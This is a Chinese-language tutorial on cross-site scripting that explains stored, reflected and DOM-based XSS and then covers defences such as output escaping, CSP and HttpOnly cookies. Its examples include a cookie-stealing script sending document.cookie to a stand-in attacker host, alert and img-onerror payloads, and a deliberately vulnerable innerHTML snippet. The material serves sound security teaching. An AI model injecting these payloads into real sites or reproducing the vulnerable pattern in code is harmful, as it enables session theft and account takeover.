文章

脚本注入攻击原理

什么是浏览器脚本注入?

浏览器脚本注入,通常被称为跨站脚本攻击 (Cross-Site Scripting, XSS),是一种常见的网络安全漏洞。攻击者通过在受信任的网站中注入恶意的客户端脚本(通常是 JavaScript),当其他用户访问该网站时,这些恶意脚本就会在他们的浏览器中执行。

其核心目标不是攻击网站服务器,而是攻击访问该网站的用户

核心原理

现代网页是动态的,内容由 HTML、CSS 和 JavaScript 组成。当浏览器加载一个网页时,它会解析 HTML 来构建页面的结构 (DOM Tree),并执行其中的 JavaScript 脚本。

脚本注入的根本原理是:网站将用户输入的数据,未经充分的过滤和转义,就直接作为 HTML 内容输出到了页面上。

这就给了攻击者一个机会,他们可以构造一段特殊的“数据”,这段数据实际上是一段可执行的 JavaScript 脚本。当浏览器渲染页面时,会把这段恶意脚本误认为是页面正常的一部分而执行它。

注入流程

一个典型的脚本注入攻击流程如下:

  1. 发现漏洞: 攻击者在目标网站上寻找可以输入内容的地方,例如搜索框、评论区、用户个人资料页、URL参数等。

  2. 构造恶意脚本: 攻击者精心制作一段恶意的 JavaScript 代码。这段代码可以很简单(如一个弹窗),也可以很复杂(如窃取 cookie)。

  3. 注入脚本: 攻击者将这段恶意脚本作为“数据”输入到网站的漏洞点,并提交。网站后端服务器在不知情的情况下,将这段恶意数据存入了数据库。

  4. 受害者访问: 其他正常用户访问了包含这个恶意脚本的页面。

  5. 脚本执行: 网站后端从数据库中读取了包含恶意脚本的数据,并将其直接嵌入到 HTML 页面中,然后发送给受害者的浏览器。受害者的浏览器接收到 HTML 后,无法分辨这是正常内容还是恶意脚本,于是直接执行了它。

  6. 攻击得手: 恶意脚本在受害者的浏览器中执行,达到了攻击者的目的(例如,窃取信息、发起请求等)。

脚本注入的类型及举例

主要有三种常见的 XSS 类型:

1. 存储型 XSS (Stored XSS)

这是最危险的一种。恶意脚本被永久地存储在目标服务器上(如数据库中)。

  • 场景: 一个支持用户发表评论的博客网站。

  • 流程:

  1. 攻击者在该博客的一篇文章下发表评论,但内容不是普通文字,而是:

<script>
  // 这段脚本会窃取当前用户的cookie
  // 并将其发送到攻击者自己的服务器
  fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
</script>
  1. 博客网站的后端没有对评论内容进行任何过滤,直接将这段 <script>...</script> 字符串存入了数据库。

  2. 受害者(比如网站管理员)后来访问这篇文章,想看看最新的评论。

  3. 浏览器请求页面,服务器从数据库取出评论内容,拼接到 HTML 中,然后返回给浏览器。受害者的浏览器收到的部分 HTML 看起来像这样:

<div class="comment-body">
  <script>
    fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
  </script>
</div>
  1. 脚本执行:浏览器解析到 <script> 标签,立即执行其中的 JavaScript 代码。管理员的 session cookie 就被发送到了攻击者的服务器。攻击者拿到 cookie 后,就可以冒充管理员登录网站后台。

2. 反射型 XSS (Reflected XSS)

恶意脚本不存储在服务器上,而是作为 URL 的一部分。攻击者需要诱导用户点击一个特制的链接。

  • 场景: 网站的搜索功能,它会将搜索词显示在结果页面上。例如,搜索 apple,页面会显示 "您搜索的结果是:apple"。

  • 流程:

  1. 攻击者发现搜索功能存在漏洞。如果搜索的 URL 是 https://example.com/search?q=apple,页面就会输出 apple

  2. 攻击者构造一个恶意的 URL,将脚本放在 q 参数里:

https://example.com/search?q=<script>alert('XSS Attack!');</script>
  1. 攻击者通过邮件、社交网络等方式将这个链接发送给受害者,并用一些诱人的话术(如“快来看这个,有惊喜!”)引诱他们点击。

  2. 受害者点击链接后,浏览器向 https://example.com 发起请求。

  3. 服务器接收到请求,从 URL 中取出 q 参数的值(也就是那段恶意脚本),未经处理就直接嵌入到返回的 HTML 页面中:

<h1>您搜索的结果是:<script>alert('XSS Attack!');</script></h1>
  1. 脚本执行:受害者的浏览器收到 HTML 后,执行了脚本,弹出了一个 "XSS Attack!" 的警告框。这只是一个简单的例子,实际攻击中脚本会执行更危险的操作。

3. DOM 型 XSS (DOM-based XSS)

这是一种更高级的 XSS 攻击。注入和执行的整个过程都发生在客户端,服务器甚至可能完全不知道攻击的发生。它源于客户端脚本对 DOM 的不当操作。

  • 场景: 一个单页面应用 (SPA),它使用 JavaScript 根据 URL 中的 hash (#) 来动态改变页面内容,而 hash 的改变不会向服务器发送请求。

  • 流程:

  1. 网页中有一段 JavaScript 代码,用来欢迎用户:

// 从URL的hash中读取用户名,并显示在页面上
var username = window.location.hash.substring(1); // 获取'#'后面的部分
document.getElementById('welcome-message').innerHTML = "Welcome, " + username;
  1. 攻击者构造一个恶意 URL:

https://example.com/welcome#<img src="invalid-image" onerror="alert('DOM XSS')">

这里的 onerror 是一个事件处理器,当图片加载失败时会执行其中的 JavaScript 代码。

  1. 攻击者诱导受害者点击这个链接。

  2. 受害者的浏览器加载 https://example.com/welcome 页面。页面中的 JavaScript 开始执行。

  3. window.location.hash.substring(1) 获取到的 username 变量值是 <img src="invalid-image" onerror="alert('DOM XSS')">

  4. innerHTML 将这段字符串直接写入到 DOM 中。浏览器尝试解析这个 HTML 片段,它会尝试加载一个不存在的图片 invalid-image,加载失败后立即触发 onerror 事件,从而执行了 alert('DOM XSS')

如何防御脚本注入?

防御 XSS 的核心原则是:永远不要相信用户的任何输入

  1. 输入验证 (Input Validation): 对用户输入的数据进行格式检查,例如,年龄字段只接受数字,邮件字段必须符合邮件格式等。但这不足以完全防御 XSS。

  2. 输出编码/转义 (Output Encoding/Escaping): 这是最关键和最有效的防御手段。当需要将用户输入的数据插入到 HTML 中时,对特殊字符进行编码,使其被浏览器当作纯文本处理,而不是 HTML 标签。

  • < 应转义为 &lt;

  • > 应转义为 &gt;

  • & 应转义为 &amp;

  • " 应转义为 &quot;

  • ' 应转义为 &#x27;
    经过转义后,<script> 就会变成 &lt;script&gt;,浏览器只会把它显示出来,而不会执行它。

  1. 内容安全策略 (Content Security Policy, CSP): 在服务器的 HTTP 响应头中设置 CSP,可以精确地告诉浏览器哪些来源的脚本是可信的、可以执行的,从而阻止加载来自未知来源的脚本。

  2. 使用 HttpOnly Cookie: 为敏感的 Cookie(如 Session ID)设置 HttpOnly 属性,这样通过 JavaScript 的 document.cookie API 就无法读取到该 Cookie,有效防止了通过 XSS 窃取会话信息的攻击。

许可协议:  CC BY 4.0